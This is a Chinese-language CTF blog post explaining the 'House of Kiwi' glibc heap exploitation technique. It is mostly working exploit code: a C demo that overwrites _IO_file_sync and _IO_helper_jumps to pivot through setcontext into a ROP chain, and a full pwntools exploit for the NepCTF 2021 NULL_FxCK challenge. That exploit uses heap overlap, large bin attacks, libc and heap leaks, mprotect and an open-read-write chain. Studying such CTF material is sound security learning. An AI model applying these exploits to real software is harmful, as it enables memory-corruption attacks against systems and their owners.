House Of Kiwi
LOLOLO Lv3

House of kiwi

在vnctf2022的一道题目的官方wp中发现该方法,遂学习

使用场景

  • 能够触发__malloc_assert,通常是堆溢出导致 ;触发__malloc_assert一般改topchunk的size和prev_inuse
  • 能够任意写,修改_IO_file_syncIO_helper_jumps + 0xA0 and 0xA8
1
2
3
4
5
6
7
8
9
10
11
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

使用方法

实现进入assert后,可以想到fflush和fxprintf都和IO有关,可能需要涉及IO,一步步调试看看可以发现在fflush函数中调用到了一个指针:位于_IO_file_jumps中的_IO_file_sync指针,且观察发现RDX寄存器的值为IO_helper_jumps指针,多次调试发现RDX始终是一个固定的地址 。

即利用方法为 通过修改 _IO_file_jumps + 0x60_IO_file_sync指针为setcontext+61修改IO_helper_jumps + 0xA0 and 0xA8分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行栈迁移

上图是最后进入了malloc_assert中的fllush中,在该函数中最后会调用qword ptr [rbp+0x60],而这里rbp是_IO_file_jumps,这里设置为setcontext+61,而后后面的参数可以看情况利用,但是rcx要设置为最后srop的地址

demo

来自:https://www.anquanke.com/post/id/235598

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
// Ubuntu 20.04, GLIBC 2.32_Ubuntu2.2
//gcc demo.c -o main -z noexecstack -fstack-protector-all -pie -z now -masm=intel
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#define pop_rdi_ret libc_base + 0x000000000002858F
#define pop_rdx_r12 libc_base + 0x0000000000114161
#define pop_rsi_ret libc_base + 0x000000000002AC3F
#define pop_rax_ret libc_base + 0x0000000000045580
#define syscall_ret libc_base + 0x00000000000611EA
#define ret pop_rdi_ret+1
size_t libc_base;
size_t ROP[0x30];
char FLAG[0x100] = "./flag.txt\x00";
void sandbox()
{
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
struct sock_filter sfi[] ={
{0x20,0x00,0x00,0x00000004},
{0x15,0x00,0x05,0xC000003E},
{0x20,0x00,0x00,0x00000000},
{0x35,0x00,0x01,0x40000000},
{0x15,0x00,0x02,0xFFFFFFFF},
{0x15,0x01,0x00,0x0000003B},
{0x06,0x00,0x00,0x7FFF0000},
{0x06,0x00,0x00,0x00000000}
};
struct sock_fprog sfp = {8, sfi};
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
}

void setROP()
{
uint32_t i = 0;
ROP[i++] = pop_rax_ret;
ROP[i++] = 2;
ROP[i++] = pop_rdi_ret;
ROP[i++] = (size_t)FLAG;
ROP[i++] = pop_rsi_ret;
ROP[i++] = 0;
ROP[i++] = syscall_ret;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 3;
ROP[i++] = pop_rdx_r12;
ROP[i++] = 0x100;
ROP[i++] = 0;
ROP[i++] = pop_rsi_ret;
ROP[i++] = (size_t)(FLAG + 0x10);
ROP[i++] = (size_t)read;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 1;
ROP[i++] = (size_t)write;
}
int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);
setvbuf(stderr,0LL,2,0LL);
sandbox();
libc_base = ((size_t)setvbuf) - 0x81630;
printf("LIBC:\t%#lx\n",libc_base);

size_t magic_gadget = libc_base + 0x53030 + 61; // setcontext + 61
size_t IO_helper = libc_base + 0x1E48C0; // _IO_hel
per_jumps;
size_t SYNC = libc_base + 0x1E5520; // sync pointer in _IO_file_jumps
setROP();
*((size_t*)IO_helper + 0xA0/8) = ROP; // 设置rsp
*((size_t*)IO_helper + 0xA8/8) = ret; // 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
*((size_t*)SYNC) = magic_gadget; // 设置fflush(stderr)中调用的指令地址
// 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
*top_size = (*top_size)&0xFFE; // top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中,其中有个判断top_chunk的size中inuse位是否存在
malloc(0x1000); // 触发assert
_exit(-1);
}

例题: NepCTF 2021年中NULL_FxCK

比赛笔者没有参加,但是在面试V&N的时候,最后问到我对于2.31版本下的off-by-null与2.23版本有什么不同,当时还没掌握,然后wjh大佬就给了这道题同时给了3天时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from decimal import setcontext
import sys
import os
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'


DEBUG = 1
if DEBUG:
p = process('./main')
elf=ELF('./main')
libc=ELF('/home/lol/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc-2.32.so')
else:
host = "node2.hackingfor.fun"
port = 30597
p = remote(host,port)

def cmd(idx):
p.sendlineafter(">> ",str(idx))
def add(size,payload = ""):
cmd(1)
p.sendlineafter("Size: ",str(size))
if payload:
p.sendafter("tent: ",payload)
else:
p.sendafter("tent: ","aaa")
def free(idx):
cmd(3)
p.sendlineafter("dex: ",str(idx))
def show(idx):
cmd(4)
p.sendlineafter("dex: ",str(idx))
def edit(idx,payload):
cmd(2)
p.sendlineafter("dex: ",str(idx))
p.sendafter("tent: ",payload)
def addWhere(addr,payload):
free(4)
add(0x520,"a"*0x20+p64(0)+p64(0x4a1)+p64(0)*9+p64(0x0001000000000000)+"\x00"*0x198+p64(addr)+'\x00'*0x100)
add(0x300,payload)
def largebinAttack(addr):
free(4)
add(0x520,"a"*0x20+p64(0)+p64(0x4a1)+p64(0)*3+p64(addr-0x20))
free(8)
add(0x478)
#-------------------------这里实现堆重叠,泄漏key和libc地址
add(0x148) #0
add(0x4f8) #1
add(0x1f8) #2

add(0x4f8) #3
add(0x4f8) #4
add(0x4f8) #5
add(0x4f8) #6

add(0x4f8) #7
add(0x4f8) #8
add(0x4f8) #9
add(0x4f8) #10
# gdb.attach(p)
free(6) #这个堆快一开始确定为要构造的重叠的堆块
free(4)
free(8)
free(3)
add(0x528,b"a"*0x4f0+p64(0)+p64(0xa00))#3 这里把原来chunk3的
# #--------进行微小的切割,使得目标chunk的fd和bk写上对应位置
add(0x4c0)#4
add(0x4f0)#6 0x400
add(0x4f0)#8 0xa00
free(4)
free(5)
add(0x4f0)#4这个堆块用来改写0xa00的bk
add(0x4c8)#5

free(8)
free(4)
free(6)
add(0x4f0,"a"*0x9)#4 #修复fd->bk
add(0x4f0)#6
add(0x4f0)#8
free(6)
free(8)
free(7)
add(0x520,b"a"*0x4f0+p64(0)+p64(0x501)+b'a')#6 #修复bk->fd
add(0x4c8)#8
add(0x4f0)#7
edit(5,b"a"*0x4c0+p64(0xa00))
# gdb.attach(p)
free(4) #unlink
add(0x520) #4
add(0x1000)
show(5)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-0x1e4160
print("libc_base",hex(libc_base))
add(0x1f8) #12
add(0x7c0) #13
free(5)
show(12)

add(0x1f8) #5
free(4)
add(0x520,b"a"*0x20+p64(0)+\
p64(0x4a1)+b"a"*0x490+p64(0)+p64(0x21)*7)
free(13) #0x7d1 为了切割出0x480
add(0x480,'aa')

io_sync =libc_base+0x1e5520
io_help_a0=libc_base+0x1e4960
io_help_a8=libc_base+0x1e4968
setcontext=libc_base+libc.sym['setcontext']+61
add(0x338,'a'*8)

free(8) #这里为了把0x4a1堆快放入large bin
free(4)
add(0x520,b"a"*0x20+p64(0)+p64(0x4a1)+p64(0)*3+\
p64(0x1eb578+libc_base-0x20)) #为了改写0x4a1的bk_nextsize

free(13)
add(0x478)
free(4)
add(0x520,b"a"*0x20+p64(0)+p64(0x4a1)+\
p64(0)*9+p64(0x0001000000000000)+\
b"\x00"*0x198+p64(libc_base+0x1e7600+0x20)+\
b'\x00'*0x100)
add(0x300,p8(0))
free(4)
add(0x520,b"a"*0x20+p64(0)+p64(0x4a1)+\
p64(0)*3+p64(0x1e7600+0x20+libc_base-0x20))
free(8)
add(0x478)
show(13)
heap_addr = u64(p.recv(6).ljust(8,b"\x00"))-0x30
print("heap_addr",hex(heap_addr))
free(4)
add(0x520,b"a"*0x20+p64(0)+p64(0x4a1)+\
p64(0)*9+p64(0x0001000000000000)+\
b"\x00"*0x198+p64(io_sync)+\
b'\x00'*0x100)
add(0x300,p64(setcontext)+p64(heap_addr+0x1908)+p64(0x1000)+\
p64(libc_base+0x8b390)+p64(libc_base+0x8ab30)+p64(7))
free(4)
add(0x520,b"a"*0x20+p64(0)+p64(0x4a1)+\
p64(0)*9+p64(0x0001000000000000)+\
b"\x00"*0x198+p64(io_help_a0)+\
b'\x00'*0x100)
add(0x300,p64(heap_addr+0x1910)+p64(libc_base+libc.sym['mprotect']))
free(4)
add(0x520,b"a"*0x20+p64(0)+p64(0x4a1)+\
p64(0)*9+p64(0x0001000000000000)+\
b"\x00"*0x198+p64(heap_addr+0x3510)+\
b'\x00'*0x100)
add(0x300,p64(0)*2)

free(4)
add(0x520,b"a"*0x20+p64(0)+p64(0x4a1)+\
p64(0)*9+p64(0x0001000000000000)+\
b"\x00"*0x198+p64(heap_addr+0x1910)+\
b'\x00'*0x100)

pop_rdi_ret = libc_base + 0x000000000002858F
pop_rdx_r12 = libc_base + 0x0000000000114161
pop_rsi_ret = libc_base + 0x000000000002AC3F
pop_rax_ret = libc_base + 0x0000000000045580
syscall_ret = libc_base + 0x00000000000611EA

Read = libc_base + libc.symbols["read"]
Write = libc_base + libc.symbols['write']

orw = b''
orw += p64(pop_rax_ret) + p64(2)
orw += p64(pop_rdi_ret)+p64(heap_addr + 0x19a0)
orw += p64(pop_rsi_ret)+p64(0)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rdx_r12) + p64(0x100) + p64(0)
orw += p64(pop_rsi_ret) + p64(heap_addr + 0x2e10)
orw += p64(Read)
orw += p64(pop_rdi_ret)+p64(1)
orw += p64(Write)
orw += b'./flag.txt\x00\x00'

add(0x300,orw)
io_jumps=libc_base+0x1e54c0
io_help = libc_base+0x1e48c0
print(hex(io_help))
#----调用mprotect函数
free(4)
add(0x520,b"a"*0x20+p64(0)+p64(0x4a1)+\
p64(0)*9+p64(0x0001000000000000)+\
b"\x00"*0x198+p64(io_help+0x60)+\
b'\x00'*0x100)
add(0x300,p64(libc_base+0x8eea0)+p64(heap_addr-0x1000)+p64(0x21000))

free(4)
add(0x520,b"a"*0x20+p64(0)+p64(0x4a1)+\
p64(0)*9+p64(0x0001000000000000)+\
b"\x00"*0x198+p64(io_help+0x80)+\
b'\x00'*0x100)
add(0x300,p64(libc_base+0x8fde0)+p64(7))
#-----触发malloc_assert
free(4)
add(0x520,b"a"*0x20+p64(0)+p64(0x4a1)+\
p64(0)*9+p64(0x0001000000000000)+\
b"\x00"*0x198+p64(heap_addr+0x3510)+\
b'\x00'*0x100)
add(0x300,p64(0)*2)
gdb.attach(p,"b sysmalloc")
add(0x1000)

p.interactive()
#0x1e54c0
#0x1e4980
  • 本文标题:House Of Kiwi
  • 本文作者:LOLOLO
  • 创建时间:2022-03-11 16:30:19
  • 本文链接:https://lololo-pwn.github.io/2022/03/11/House-Of-Kiwi/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论